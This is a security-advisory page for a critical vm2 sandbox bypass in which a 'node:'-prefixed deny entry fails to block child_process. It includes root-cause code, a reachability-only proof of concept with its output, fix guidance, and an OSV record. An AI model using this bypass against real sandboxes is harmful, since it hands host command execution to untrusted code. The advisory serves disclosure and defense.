CVE-2026-92957: vm2 NodeVM Node:-prefixed Negative Builtin Deny Vulnerability

CRITICAL
Advisory Identifier: GHSA-8686-vhfx-7r3j
CVSS 9.9
CWE-284 CWE-269
Published
Advisory Summary

CVE-2026-92957 is a CRITICAL (CVSS 9.9) nodevm node:-prefixed negative builtin deny vulnerability (CWE-284: Improper Access Control) affecting vm2 libraries in the npm ecosystem. The issue involves nodevm node:-prefixed negative builtin deny bypass exposes child_process. Remediation is available by upgrading affected packages to version 3.11.7.

CVE-2026-92957 at a Glance

CVE Identifier CVE-2026-92957
GHSA Identifier GHSA-8686-vhfx-7r3j
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-284: Improper Access Control
Affected Product vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-92957

To remediate this vulnerability, upgrade all affected vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.7
npm install vm2@3.11.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-92957, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.7), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary NodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy. As a result, this configuration: ```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ``` does not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`. The safe proof below only checks module and function reachability. It does not execute any OS command. ## Affected Mode NodeVM. ## Affected Configuration ```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ``` This affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`. ## Affected Files / Functions - `lib/builtin.js` - `makeBuiltinsFromLegacyOptions` - wildcard builtin expansion - exact negative entry check: `builtins.indexOf(\`-${name}\`)` - `addDefaultBuiltin` - `lib/resolver.js` - `Resolver.resolve` - `lib/setup-node-sandbox.js` - `requireImpl` - `node:` prefix stripping before builtin load ## Root Cause `lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin: ```js if (localStringPrototypeStartsWith(filename, 'node:')) { id = localStringPrototypeSlice(filename, 5); let nmod = cacheBuiltins[id]; if (!nmod) { nmod = loadBuiltinModule(id); if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND'); cacheBuiltins[id] = nmod; } return nmod; } ``` But `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`: ```js if (builtins.indexOf(`-${name}`) === -1) { addDefaultBuiltin(res, name, hostRequire); } ``` `BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin. ## Security Boundary Crossed Sandboxed code reaches a host builtin that the embedder attempted to deny. Boundary crossed: - sandbox -> host `child_process` builtin - sandbox -> host process-spawning function references ## Impact Confirmed impact: - `require('child_process')` succeeds inside the sandbox. - `require('node:child_process')` succeeds inside the sandbox. - The returned module exposes `execSync` and `spawn` as functions. Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command. The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability. ## Safe Local Reproduction Tested on Node.js `v24.14.0`. This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands. ```js 'use strict'; const { NodeVM } = require('./'); function probe(builtin) { const vm = new NodeVM({ require: { builtin } }); return vm.run(` const out = {}; for (const spec of ['child_process', 'node:child_process']) { try { const cp = require(spec); out[spec] = { loaded: true, execSyncType: typeof cp.execSync, spawnType: typeof cp.spawn, moduleToStringTag: Object.prototype.toString.call(cp) }; } catch (e) { out[spec] = { loaded: false, name: e && e.name, code: e && e.code, message: e && e.message }; } } module.exports = out; `); } console.log(JSON.stringify({ nodeVersion: process.version, denyNodePrefixed: probe(['*', '-node:child_process']), denyCanonical: probe(['*', '-child_process']) }, null, 2)); ``` Observed result: ```json { "nodeVersion": "v24.14.0", "denyNodePrefixed": { "child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" }, "node:child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" } }, "denyCanonical": { "child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'child_process'" }, "node:child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'node:child_process'" } } } ``` ## Expected Secure Behavior `-node:child_process` and `-child_process` should be equivalent. If either spelling is denied, both of these should fail: ```js require('child_process') require('node:child_process') ``` ## Suggested Fix 1. Canonicalize builtin names before allow/deny comparison: - Strip `node:` from user-provided builtin entries. - Preserve whether an entry is negative (`-...`) before canonicalizing. - Store and compare one canonical builtin key. 2. Apply the same normalization to: - wildcard negative entries - explicit allowlist entries - object-form builtin entries - mock/override keys if they are intended to support `node:` spelling 3. Add regression tests: - `builtin: ['*', '-node:child_process']` blocks `child_process`. - `builtin: ['*', '-node:child_process']` blocks `node:child_process`. - `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`. - `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently. - Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.

CVE-2026-92957 Affected vm2 Versions

1 component(s)
Fixed Versions:
3.11.7
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
< 3.11.7
3.11.7

References

Frequently Asked Questions

What is CVE-2026-92957?
CVE-2026-92957 is a security vulnerability in vm2 involving NodeVM node:-prefixed negative builtin deny bypass exposes child_process under CWE-284: Improper Access Control.
Which vm2 versions are affected?
Affected versions include releases prior to 3.11.7 across affected packages: vm2.
What version fixes CVE-2026-92957?
Upgrading to 3.11.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.7. Upgrade your dependency to 3.11.7 or later.
What is the CVSS score of CVE-2026-92957?
CVE-2026-92957 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-92957?
CVE-2026-92957 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check npm dependencies for CVE-2026-92957?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8686-vhfx-7r3j",
  "modified" : "2026-10-01T15:36:01Z",
  "published" : "2026-10-01T15:36:01Z",
  "aliases" : [ "CVE-2026-92957" ],
  "summary" : "vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process",
  "details" : "## Summary\n\nNodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.\n\nAs a result, this configuration:\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-node:child_process']\n  }\n});\n```\n\ndoes not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`.\n\nThe safe proof below only checks module and function reachability. It does not execute any OS command.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-node:child_process']\n  }\n});\n```\n\nThis affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `makeBuiltinsFromLegacyOptions`\n  - wildcard builtin expansion\n  - exact negative entry check: `builtins.indexOf(\\`-${name}\\`)`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n  - `node:` prefix stripping before builtin load\n\n## Root Cause\n\n`lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin:\n\n```js\nif (localStringPrototypeStartsWith(filename, 'node:')) {\n  id = localStringPrototypeSlice(filename, 5);\n  let nmod = cacheBuiltins[id];\n  if (!nmod) {\n    nmod = loadBuiltinModule(id);\n    if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');\n    cacheBuiltins[id] = nmod;\n  }\n  return nmod;\n}\n```\n\nBut `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\n`BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin.\n\n## Security Boundary Crossed\n\nSandboxed code reaches a host builtin that the embedder attempted to deny.\n\nBoundary crossed:\n\n- sandbox -> host `child_process` builtin\n- sandbox -> host process-spawning function references\n\n## Impact\n\nConfirmed impact:\n\n- `require('child_process')` succeeds inside the sandbox.\n- `require('node:child_process')` succeeds inside the sandbox.\n- The returned module exposes `execSync` and `spawn` as functions.\n\nWorst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.\n\nThe proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.\n\n```js\n'use strict';\n\nconst { NodeVM } = require('./');\n\nfunction probe(builtin) {\n  const vm = new NodeVM({\n    require: {\n      builtin\n    }\n  });\n\n  return vm.run(`\n    const out = {};\n\n    for (const spec of ['child_process', 'node:child_process']) {\n      try {\n        const cp = require(spec);\n        out[spec] = {\n          loaded: true,\n          execSyncType: typeof cp.execSync,\n          spawnType: typeof cp.spawn,\n          moduleToStringTag: Object.prototype.toString.call(cp)\n        };\n      } catch (e) {\n        out[spec] = {\n          loaded: false,\n          name: e && e.name,\n          code: e && e.code,\n          message: e && e.message\n        };\n      }\n    }\n\n    module.exports = out;\n  `);\n}\n\nconsole.log(JSON.stringify({\n  nodeVersion: process.version,\n  denyNodePrefixed: probe(['*', '-node:child_process']),\n  denyCanonical: probe(['*', '-child_process'])\n}, null, 2));\n```\n\nObserved result:\n\n```json\n{\n  \"nodeVersion\": \"v24.14.0\",\n  \"denyNodePrefixed\": {\n    \"child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    },\n    \"node:child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    }\n  },\n  \"denyCanonical\": {\n    \"child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module 'child_process'\"\n    },\n    \"node:child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module 'node:child_process'\"\n    }\n  }\n}\n```\n\n## Expected Secure Behavior\n\n`-node:child_process` and `-child_process` should be equivalent.\n\nIf either spelling is denied, both of these should fail:\n\n```js\nrequire('child_process')\nrequire('node:child_process')\n```\n\n## Suggested Fix\n\n1. Canonicalize builtin names before allow/deny comparison:\n   - Strip `node:` from user-provided builtin entries.\n   - Preserve whether an entry is negative (`-...`) before canonicalizing.\n   - Store and compare one canonical builtin key.\n\n2. Apply the same normalization to:\n   - wildcard negative entries\n   - explicit allowlist entries\n   - object-form builtin entries\n   - mock/override keys if they are intended to support `node:` spelling\n\n3. Add regression tests:\n   - `builtin: ['*', '-node:child_process']` blocks `child_process`.\n   - `builtin: ['*', '-node:child_process']` blocks `node:child_process`.\n   - `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`.\n   - `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently.\n   - Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.11.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92957"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/b0f50662dd499ff33544bb42387958c64711af1e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269", "CWE-284" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-01T15:36:01Z",
    "nvd_published_at" : null
  }
}